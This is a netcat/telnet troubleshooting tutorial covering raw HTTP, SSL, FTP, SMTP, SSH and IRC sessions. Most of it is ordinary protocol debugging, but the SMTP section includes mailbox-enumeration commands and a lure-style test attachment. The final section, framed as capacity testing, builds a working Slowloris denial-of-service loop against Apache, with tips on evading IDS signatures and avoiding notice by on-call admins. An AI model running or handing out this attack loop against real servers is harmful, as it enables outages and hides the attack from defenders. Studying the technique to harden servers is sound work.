foureleven.org
0b||00||0||

Troubleshooting with netcat/telnet

Author: Lyle Tagawa
  Date: 2003/01/06 04:38:31
$Date: 2009/10/16 16:00:51 $ $Revision: 1.3 $ - Added Slowloris Tests

1.0 Introduction

IT support is difficult when most users' only diagnostic tool is their web browser or another rich Internet application. Such RIAs often disguise problems with "friendly" error messages.

Surprising to some, a versatile tool is provided by default on most operating systems: telnet. Telnet was defined in RFC15, but most know it as the primitive network protocol used to establish a virtual tty over tcp/23. Despite its origins, or perhaps because of them, telnet is an excellent tool to establish interactive raw TCP sessions.

There are instances however, when a daemon process (FTP PORT) or a UDP client are required and telnet is not sufficient. Enter netcat. netcat is a general tool to read/write across TCP/UDP network connections.

I will describe some basic usage of common Internet protocols and how we can use netcat and/or telnet to drive end-to-end communication. Following these simple tutorials, I will discuss other topics in perimeter penetration testing and network capacity planning/testing.

2.1 Troubleshooting HTTP with netcat

Depending on your particular application, you will use any number of HTTP methods, but I will only discuss the more common ones: HEAD, GET, and POST.

Common mistakes are to issue lower-case or mixed-case methods; aside from the URI, they should be all upper-case. The method request should always be the first line as well, followed by the HTTP headers. The headers themselves are typically mixed-case with their first letter capitalized. Custom headers are typically prefixed with "X-" and all lines in the complete HTTP header are delimited by a <CRLF> carriage-return line-feed combination (like MS-DOS), also represented as \r\n, 0x0D0A, ^M^J, etc. And finally, there is a 2 <CRLF> combination to delimit the header from the data payload.

To determine if your HTTP service is simply running or to determine if it returns the proper headers, the HEAD command is sufficient. For some, HTTP/1.0 may be sufficient, but if you utilize HTTP host headers (aka virtual servers), you will require HTTP/1.1 and the "Host: " HTTP header. Also note the keepalive timeout (and connection pooling) when using HTTP/1.1.

$ cat http1.0.txt
HEAD / HTTP/1.0

$ 
$ cat http1.1.txt
HEAD /RCS/index.html,v HTTP/1.1
Host: www.example.com

$ 
$ cat http1.0.txt | nc www.example.com 80
HTTP/1.1 200 OK
Date: Mon, 30 Dec 2002 02:22:15 GMT
Server: Apache/1.3.26 (Unix) mod_perl/1.27
Last-Modified: Wed, 27 Feb 2002 09:28:34 GMT
ETag: "3bd02-0-3c7ca6c2"
Accept-Ranges: bytes
Content-Length: 0
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug

Connection closed by foreign host.
$ 
$ cat http1.1.txt | nc www.example.com 80
HTTP/1.1 403 Forbidden
Date: Mon, 30 Dec 2002 02:26:10 GMT
Server: Apache/1.3.26 (Unix) mod_perl/1.27
Content-Type: text/html

Connection closed by foreign host.

The HTTP/1.0 request is returned as a HTTP/1.1 response. This is normal, the 1.0 request forces a "Connection: close," which we expect. The ETag is important for server farms, where the default entity tag is "Last Modified Date"-"Size"-"Inode Number"; the "Inode Number" will vary from machine (file system) to machine. If the web site has sufficient request volume, it is likely serviced by many machines. If so, retaining the inode number in the ETag is a mistake.

The HTTP/1.1 response is a 403, which tells us that the requested resource likely exists, but is forbidden to us due to file system permissions or ACL settings.

Whereas HEADs are typically used to obtain the HTTP headers only, GET and POST requests are typically used to determine the correct functionality of your application.

$ cat http_get.txt
GET /search?q=http+rfc HTTP/1.1
Host: www.google.com

$ 
$ cat http_get.txt | nc www.google.com 80
HTTP/1.1 200 OK
Server: GWS/2.0
Date: Mon, 30 Dec 2002 02:35:07 GMT
Transfer-Encoding: chunked
Content-Type: text/html
Cache-control: private
Set-Cookie: ID=1269ea8c29cd902f:TM=1041215707:LM=1041215707:S=DiuLPcEx58qJyg1A;
expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com

9f6
<html><head><meta HTTP-EQUIV="content-type...
[ output cut ]

When crafting GET requests, be sure to properly encode the URL. Here's a URL encoding subroutine in perl, taken from Justin Mason's Mail::SpamAssassin CPAN utilities library:

sub url_encode {
  my($url)=@_;
  my (@characters) = split(/(\%[0-9a-fA-F]{2})/, $url);
  my (@unencoded) = ();
  my (@encoded) = ();

  foreach (@characters) {
    # escaped character set ...
    if (/\%[0-9a-fA-F]{2}/) {
      # IF it is in the range of 0x00-0x20 or 0x7f-0xff
      #    or it is one of  "<", ">", """, "#", "%",
      #                     ";", "/", "?", ":", "@", "=" or "&"
      # THEN preserve its encoding
      unless (/(20|7f|[0189a-fA-F][0-9a-fA-F])/i) {
	s/\%([2-7][0-9a-fA-F])/sprintf "%c", hex($1)/e;
	push(@unencoded, $_);
      }
    }
    # other stuff
    else {
      # 0x00-0x20, 0x7f-0xff, ", %, <, >
      s/([\000-\040\177-\377\042\045\074\076])
	  /push(@encoded, $1) && sprintf "%%%02x", unpack("C",$1)/egx;
    }
  }
  if (wantarray) {
    return(join("", @characters), join("", @unencoded), join("", @encoded));
  }
  else {
    return join("", @characters);
  }
}

Notice the hex just before the server returns the content; this is due to the "Transfer-Encoding: chunked" header. The "9f6" is the number of bytes in the HTTP data payload. This response is similar to the required POST request header "Content-Length: ".

$ cat http_post.txt
POST /echo.pl HTTP/1.0
Content-Type: text/plain
Content-Length: 5

hello
$ 
$ cat http_post.txt | nc example.com 80
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: 87

<?xml version="1.0" encoding="utf-8"?>
<Response>Hello!</Response>
Connection closed by foreign host.

Responses to a POST command are not cacheable, unless the response includes appropriate Cache-Control or Expires header fields.

To scan your network for rogue proxy servers, the following can be scripted to enumerate the desired net blocks.

$ cat http_proxy.txt
GET http://www.yahoo.com HTTP/1.0

$ 
$ cat http_proxy.txt | nc www.example.com 80
HTTP/1.1 404 Not Found
Date: Mon, 30 Dec 2002 19:12:24 GMT
Server: Apache/1.3.26 (Unix) mod_perl/1.27
Connection: close
Content-Type: text/html

Resources that require basic HTTP authentication are simply encoded as base64 with this one-liner. MD5 authentication is similar, but it requires a challenge response before the hash can be computed.

$ perl -MMIME::Base64 -le "print encode_base64(shift)" "username:password"
dXNlcm5hbWU6cGFzc3dvcmQ=
$ echo "username:realm:password:challenge:HEAD:/secure" | md5sum
7ff531e2618d58a5587f81035997c9b5
$ 
$ cat http_basic.txt
HEAD /secure HTTP/1.0
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

$ cat http_digest.txt
HEAD /secure HTTP/1.0
Authorization: Digest username="username",
        realm="realm",
        nonce="challenge",
        uri="/secure",
        response="7ff531e2618d58a5587f81035997c9b5"

$
$ cat http_basic.txt | nc www.example.com 80
HTTP/1.1 200 OK
Date: Mon, 30 Dec 2002 19:12:24 GMT
Server: Apache/1.3.26 (Unix) mod_perl/1.27
Content-Type: text/html

Back to Introduction and TOC

2.2 Troubleshooting HTTP/SSL with OpenSSL

The techniques described in section Section 2.1 apply just the same here. The only difference is the underlying session layer. Tunneling HTTP commands through SSL can be done easily with the openssl s_client.

$ cat https_head.txt
HEAD / HTTP/1.1
Host: www.example.com

$ 
$ cat https_head.txt | openssl s_client -connect www.example.com:443

Depending on corporate and technical policies, different e-commerce sites will have varying support for SSL and TLS protocols, cipher type, and key bit depth. Web browsers typically do not provide a sufficiently fine-grained user-interface to test varying combinations of those three components. With openssl however, it is trivial.

Microsoft Internet Explorer v5.00 and v5.01 have, for example, serious bugs when using SSL, which should be avoided. When your QA department refuses to certify your SSL infrastructure because MSIE 5.01 (default with Windows 98) fails, here are some tests to demonstrate that the poorly supported protocol, cipher, bit depth combinations are disabled.

$ cat https_head.txt | openssl s_client -tls1 -cipher "RC2:EXPORT56" -connect example.com:443
$ cat https_head.txt | openssl s_client -tls1 -cipher "RC4:EXPORT56" -connect example.com:443
$ ...

Other combinations to enumerate include SSLv2 and SSLv3 protocols, SHA vs MD5 hash algorithms, IDEA, DES, RC2, RC4 symmetric key algorithms, RSA, and 40 vs 56 vs 128 bit key lengths. A quick script would be very handy here to cover all the permutations. Using HTTP/1.1 keepalives to pool HTTP requests is highly recommended here, since the SSL handshake with each HTTP connection establishment is highly CPU intensive, in addition to the numerous TCP 3-ways.

If your PRNG is poor, the -rand [filename] argument may be required to add sufficient entropy for the public key handshake.

Back to Introduction and TOC

2.3 Troubleshooting FTP with netcat

FTP clients are simple to use and understand; they support authentication, remote directory navigation, and ascii/binary file transfer. The protocol itself however, is somewhat non-intuitive.

Common mistakes are to confuse typical FTP client commands with the actual FTP protocol commands. "dir" and "ls" are typically wrappers for the actual commands LIST and NLST. "get" and "put" are typically wrappers for the actual commands RETR and STOR. Also non-intuitive is the use of either server initiated (PORT) or client initiated (PASV) data transfers over a separate network pipe.

FTP requires two communication channels, a control and data channel and there are two data transfer modes: PORT and PASV. In PORT mode, the data channel is established from the server, whereas in PASV (passive) mode, the data channel is established from the client.

PORT mode is typically the default, but PASV mode is conceptually simpler and is becoming more prevalent due to strict firewalls in most corporate environments and many residential broadband NSPs. The bold text below are commands that we issue. TTY1 in this example is our control session and TTY2 is our data session.

tty1$ nc ftp.example.com 21                         tty2$
Connected to ftp.example.com                        .
Escape character is '^]'.                           .
220 ftp.example.com FTP server ready.               .
USER ftp                                            .
331 Guest login ok, send your complete e-mail address as password.
PASS myname@                                        .
230 Guest login ok, access restrictions apply.      .
TYPE A                                              .
200 Type set to A.                                  .
PASV                                                .
227 Entering Passive Mode (192,168,0,100,105,163)   .
NLST                                                tty2$ nc 192.168.0.100 27043
                                                    Connected to ftp.example.com.
                                                    Escape character is '^]'.
150 Opening ASCII mode data connection for file list.
                                                    README
226 Transfer complete.                              Connection closed by foreign host.
TYPE I                                              tty2$
200 Type set to I.                                  .
PASV                                                .
227 Entering Passive Mode (192,168,0,100,126,43)    .
RETR /README                                        tty2$ nc 192.168.0.100 32299
                                                    Connected to ftp.example.com.
                                                    Escape character is '^]'.
150 Opening BINARY mode data connection for /README (27 bytes).
                                                    Welcome to ftp.example.com!
226 Transfer complete.                              Connection closed by foreign host.
QUIT                                                tty2$
221 Goodbye.
Connection closed by foreign host.
tty1$

The USER command typically accepts both "anonymous" and "ftp" for guest accounts and the PASS command typically requires only an "@" for a "complete e-mail address." The TYPE command sets your data transfer mode to ASCII (A) or BINARY (I).

The Passive (PASV) command returns a comma delimited set of integers. The first 4 fields are your dotted quad IP address of the server accepting the requested data transfer. The 2nd two fields are used to calculate the destination port of the data transfer. In our NLST example, ((105 * 256) + 163) returns 27043, so in our second TTY, we telnet (nc) to port 27043 of the server IP returned in the PASV output. A PASV command is required for each individual data request.

PORT mode transfers are exactly the opposite process from PASV mode transfers. The client sends the server a PORT request, encoding the client's local destination port to the remote server. This requires we setup a daemon obviously to listen on that port, which is easily done with netcat. In this particular case, tty2's IP is 192.168.0.101.

tty1$ nc ftp.example.com 21                         tty2$ nc -l -p1025
Connected to ftp.example.com                        .
Escape character is '^]'.                           .
220 ftp.example.com FTP server ready.               .
USER ftp                                            .
331 Guest login ok, send your complete e-mail address as password.
PASS myname@                                        .
230 Guest login ok, access restrictions apply.      .
PORT 192,168,0,101,4,1                              .
200 PORT command successful.                        .
NLST                                                .
150 Opening ASCII mode data connection for file list.
                                                    README
226 Transfer complete.                              tty2$
QUIT
221 Goodbye.
Connection closed by foreign host.
tty1$

Problems with FTP are typically introduced by changes to firewall/packet filter rule sets or operating system tcp/ip stack tuning of dynamic client port restrictions. Analyzing the PORT and PASV responses complement the use of netstat and network sniffers in troubleshooting FTP problems.

Back to Introduction and TOC

2.4 Troubleshooting SMTP with netcat

Corporate policies might dictate strict SPAM/UCE controls, including mail relay limitations. We can also test anti-virus filters for correct functionality quite easily with netcat or telnet.

$ cat smtp_relay.txt
HELO myhost
MAIL FROM: Sender Name <user@example.org>
RCPT TO: Recipient Name <user@example.net>
DATA
From: Sender Name <user@example.org>
To: Recipient Name <user@example.net>
Subject: test

.
QUIT
$ 
$ cat smtp_relay.txt | nc smtp.example.net 25
Connected to smtp.example.org.
Escape character is '^]'.
220 smtp.example.net
250 smtp.example.net
250 Ok
250 Ok
250 Ok: queued as 4AF0413778
221 Bye
Connection closed by foreign host.
$ 
$ cat smtp_relay.txt | nc smtp.example.org 25
Connected to smtp.example.org.
Escape character is '^]'.
220 smtp.example.org
250 smtp.example.org
250 Ok
554 <user@example.net>: Recipient address rejected: Relay access denied
Connection closed by foreign host.

SMTP generally doesn't prevent source email spoofing, but relaying recipient email for one domain through another domain's SMTP server is typically frowned upon.

SPAM filters typically parse the SMTP headers and pattern-match against a signature database of known offenders; when the number of patterns matched increases a specified threshold, the email is typically flagged as SPAM or UCE. As shown above, the DATA command allows the client to append to the email header. The actual email "message" is delimited from the header by two <CRLF>s (carriage return, line feed). Custom SMTP headers are typically prefixed with "X-".

Another SPAM technique is to use the VRFY (verify mailbox) or RCPT (recipient) commands to determine if the destination mailbox exists.

$ cat http_vrfy1.txt
HELO myhost
VRFY user1
VRFY user2
VRFY user3
$ 
$ cat http_vrfy2.txt
HELO myhost
MAIL FROM: <user@example.org>
RCPT TO: <user1@example.net>
RCPT TO: <user2@example.net>
RCPT TO: <user3@example.net>
$ 
$ cat http_vrfy1.txt | nc smtp.example.net 25
Connected to smtp.example.net.
Escape character is '^]'.
220 smtp.example.net
250 smtp.example.net
502 VRFY command is disabled
502 VRFY command is disabled
502 VRFY command is disabled
$ 
$ cat http_vrfy2.txt | nc smtp.example.net 25
Connected to smtp.example.net.
Escape character is '^]'.
220 smtp.example.net
250 smtp.example.net
550 <user1@example.net>: User unknown
250 Ok
550 <user3@example.net>: User unknown

VRFY is typically disabled by default in modern SMTP servers, but it is still trivial to verify destination mailboxes with several RCPT commands.

Testing anti-virus filters is more difficult, but a common filter is to test the file name extensions in all MIME attachments. The following attaches a 0-byte vbscript file.

$ cat http_virus.txt
HELO myhost
MAIL FROM: Sender Name <user@example.org>
RCPT TO: Recipient Name <user@example.net>
DATA
From: Sender Name <user@example.org>
To: Recipient Name <user@example.net>
Subject: you just won!!
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="----_=_NextPart_000_01C2B03F.ED539020"

------_=_NextPart_000_01C2B03F.ED539020
Content-Type: text/plain;
        charset="iso-8859-1"

you just won!!

------_=_NextPart_000_01C2B03F.ED539020
Content-Type: text/plain;
        name="prize.vbs"
Content-Disposition: attachment;
        filename="prize.vbs"


------_=_NextPart_000_01C2B03F.ED539020--
.
QUIT
$ 
$ cat http_virus.txt | nc smtp.example.net 25

Back to Introduction and TOC

2.7 Troubleshooting SSH with netcat

$ cat ssh.txt
SSH-2.0-client
$ 
$ cat ssh.txt | nc www.example.com 80
SSH-1.99-OpenSSH_3.4p1
p3=diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1ssh-rsa,ssh-dssf
aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijnd
ael-cbc@lysator.liu.sefaes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes1
92-cbc,aes256-cbc,rijndael-cbc@lysator.liu.seUhmac-md5,hmac-sha1,hmac-ripemd160,
hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96Uhmac-md5,hmac-sha1,hmac-ripe
md160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 none,zlib none,zlib

What do we learn from this exercise? We learn which versions of SSH are supported. This information can be helpful if SSHv1 is disabled by the server, but your client defaults to v1.

The only remaining information that appears in (mostly) plain text are the negotiatible authentication parameters. If the server implements a strong policy, you can determine the minimum strength and protocol/ ciphers necessary without resorting to trial and error.

Back to Introduction and TOC

2.8 Troubleshooting IRC with netcat

$ nc irc.example.com 6667
NICK mynick                     /nick mynick
USER myuser 8 x : Real Name     /mode +i
JOIN #mychan                    /join #mychan
PRIVMSG #mychan :Greetings!     /say Greetings!
QUIT                            /quit
$ 

Back to Introduction and TOC

3.1.0 Penetration Testing with netcat

3.2.0 Network Capacity Planning/Testing with netcat

Back to Introduction and TOC

3.2.1 Network Capacity: Slowloris

Robert Hansen (RSnake) popularized this vulnerability with a clever name and a good tool for demonstrating an otherwise cheesy Apache DoS. His site also produced excellent ascii art of the ticklish slow loris.

Surprisingly, a Slowloris-esque implementation can be easily crafted as a netcat one-liner. We will slowly build-up our example, eventually demonstrating an effective implementation of the exploit.

There are several heuristics to determine if the remote server is running Apache, despite the forgeable HTTP Server header, using a tool like httprint or even netcat to analyze the HTTP headers returned, and in which order, or by artifacts from the ETag format and error handling response.

Following Ivan Ristic's advise in Apache Security, the default 300 second Apache Timeout value should be retuned to a more appropriate value. To determine the value of a remote web site's Apache Timeout value, we simply establish a TCP socket and wait for the site to terminate the connection:

$ time nc www.example.com 80
GET / HTTP/1.1
Host: www.example.com

real    0m62.041s
user    0m0.002s
sys     0m0.003s
$ 

In the above code segment, we enter the two lines making up the HTTP GET method and the subsequent HTTP Host header. Wait until the connection is terminated gracefully by the remote server. The wall-clock time in our example is 62 seconds. Assuming that it took 2 seconds to cut-and-paste the commands, the remote server Apache Timeout is determined to be 60 seconds.

We enter the first two lines of the HTTP request to get past any load-balancer, TCP offload device, or other request-router devices. Such devices may absorb requests on behalf of their real hosts. The HTTP Host header is necessary to ensure that we are eventually routed to the virtual host that we are interested in.

Using netcat's delay interval flag (-i), we can define the delay that netcat introduces between each line of input. Using our discovery of the 60 second Timeout value, we can specify an interval of 59 seconds to maximize the delay. If the latency to your target is >500ms, you may wish to buffer your delay interval further. For a request with three HTTP headers, you are forcing the remote server to hold your total connection for nearly three minutes (177 seconds). Each additional HTTP header will add an extra 59 seconds.

$ time nc -i59 www.example.com 80
GET / HTTP/1.1
Host: www.example.com
Connection: close

HTTP/1.1 200 OK
...

real    2m57.389s
user    0m0.002s
sys     0m0.006s
$ 

Knowing the configured Timeout value, we proceed to determine the effective MaxClients value. We know that the default (and hard-configured upper-limit for 1.3 installations) MaxClients is 256. The ETag trick from Section 2.1 may inform us of the number of servers in the server farm. The product of MaxClients and the number of servers hosting the remote web site becomes the effective MaxClients value necessary.

Does your target have default settings elsewhere? If the ETag, 404 banners, ProductTokens, and other stock httpd.conf configurations are present, it is likely the default MaxClients setting is unchanged as well. If the remote host has been tweaked, consider the monetary resources available to your target and the likely server class and workload of the target. For instance, a typical 32-bit/4GB RAM server will be saturated by <512 8MB httpd processes in memory at once, assuming a process/prefork model. To prevent page swapping, MaxClients will likely be set to a value below 512.

$ h0="GET / HTTP/1.1\r\n
$ h1="Host: www.example.com\r\n"
$ h2="Connection: close\r\n"
$ h3="\r"
$ for mc in `seq 0 511`; do
>   echo -e "$h0$h1$h2$h3" | nc -i59 www.example.com 80 &
> done

The crude example above makes 512 nearly concurrent HTTP requests to the target. What makes this Apache vulnerability a low-bandwidth method and not a brute-force one however, is that Apache has neither a total Timeout variable nor a maximum number of acceptable HTTP headers. We can exploit both qualities to exhaust Apache connection slots for hours or days for the cost of just a single TCP socket each, and Apache will commit log entries to disk only when the requests are complete.

$ h0="GET / HTTP/1.1\r\n"
$ h1="Host: www.example.com\r\n"
$ h2=`perl -e 'print "Connection: close\r\n"x1000'`
$ h3="\r"
$ for mc in `seq 0 511`; do
>   echo -e "$h0$h1$h2$h3" | nc -i59 www.example.com 80 &
>   sleep 45
> done

Waiting 45 seconds between each request may be counter-intuitive. In the above example, we issue 1003 HTTP headers (if I include the header/payload delimiter as a header). Because we wait 59 seconds between each, the total HTTP request will complete only after 16 hours (59s*1003*(1h/3600s) == 16.4h). Only then will the first log entry of your test be committed to the standard apache access log. By waiting 45 seconds, we should eventually exhaust 512 open sockets after 23040 seconds, or 6 hours, leaving nearly 10 hours for the test to run its course at full saturation.

The following completes the trick. Most pages have requisities such as CSS, javascript, favicon, and images. By adding just two such requisites, we reduce the time required to saturate the remote host by 67%, all while emulating real client patterns. This reduces the saturation delay by 4 hours, but does not address the "loss" of the initial connections, so we add logic to maintain the saturation point. The last trick is randomness, which varies the time between each set of requests. Adding randomness can be taken further by switching user agents, accept-encoding, etc, across sets of attempts. The X- header may not want to be randomized however, as it may increase the liklihood of being matched by an IDS signature.

Because a single host will usually be limited to ~(65535-1024) available TCP sockets, we may need to distribute our test across multiple client hosts if the target is a large server farm. It may be worthwhile to use multiple client hosts regardless of the capacity of the target. 100s or 1000s of concurrent connections from a single source IP address may be sufficient to alert NOC or oncall admins. In such cases, the only change necessary would be to divide apMaxClients by the number of active client hosts.

$ apTimeout=59
$ apMaxClients=512
$ htTarget="www.example.com"
$ htMethod0="GET / HTTP/1.1\r\n"
$ htMethod1="GET /favicon.ico HTTP/1.1\r\n"
$ htMethod2="GET /images/logo.gif HTTP/1.1\r\n"
$ htHost="Host: $target\r\n"
$ htAgent="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n"
$ htReferer="Referer: http://$target/\r\n"
$ htX=`perl -e 'print "Connection: keep-alive\r\n"x4096'`
$ htSeparator="\r"
$ htRequest="$htHost$htAgent$htReferer$htX$htSeparator"
$ 
$ while :; do
>   connCount=`netstat -an | egrep -c ':80 *ESTAB'`
>   if [ $connCount -lt $apMaxClients ]; then
>     echo -e "$htMethod0$htRequest" | nohup nc -i$apTimeout $htTarget 80 &
>     echo -e "$htMethod1$htRequest" | nohup nc -i$apTimeout $htTarget 80 &
>     echo -e "$htMethod2$htRequest" | nohup nc -i$apTimeout $htTarget 80 &
>   fi
>   sleep `echo "15 + ($RANDOM % 60)" | bc`
> done
$ 

The example can be extended by taking further advantage of HTTP Keepalives, though its timeout is often much shorter than the global Timeout, often <15 seconds. Each line of a POST data payload also honors the Apache Timeout. This gets around IDS anomaly detection of absurd numbers of HTTP headers. The only additional requirement of a POST method is a sufficiently sized Content-Length value.

I mispoke earlier in the article. Apache does provide a compile-time constant that limits the maximum number of HTTP request headers to 100. This changes the examples above. We cannot send a total of 4096, or even 1000, bogus headers, only (100-#valid headers). This moves the focus of the test back to the discovery that POST data also honors the Apache Timeout variable.

Back to Introduction and TOC

4.1.0 References

4.1.1 Tools:

4.1.2 Protocols:

4.1.3 References:

Back to Introduction and TOC